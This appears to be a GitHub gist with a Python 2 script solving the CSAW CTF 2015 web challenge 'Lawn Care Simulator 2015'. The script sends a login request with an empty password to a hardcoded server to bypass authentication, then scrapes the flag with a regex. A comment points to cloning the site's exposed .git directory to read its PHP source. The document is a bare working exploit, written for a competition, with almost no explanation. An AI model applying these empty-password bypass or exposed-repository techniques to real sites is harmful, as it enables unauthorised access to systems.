Skip to content

Instantly share code, notes, and snippets.

@budanthara
Last active September 24, 2015 14:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save budanthara/a8f5e62a50a69072066d to your computer and use it in GitHub Desktop.
Save budanthara/a8f5e62a50a69072066d to your computer and use it in GitHub Desktop.
import urllib, urllib2
import re
# CSAW CTF 2015 - Solving Lawn Care Simulator 2015 ( Web 200pts )
# To analyze the php syntax, just clone the git. http://54.165.252.74:8089/.git/
# snoww0lf
def login():
url = "http://54.165.252.74:8089/premium.php"
params = {
'username':'test31337',
'password':''
}
urlenc = urllib.urlencode(params)
urlreq = urllib2.Request(url, urlenc)
urlop = urllib2.urlopen(urlreq)
rgx = re.findall(r'<h1>(.*)</h1>', urlop.read())
print "Flag: " + ''.join(rgx) + "}"
if __name__ == '__main__':
login()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment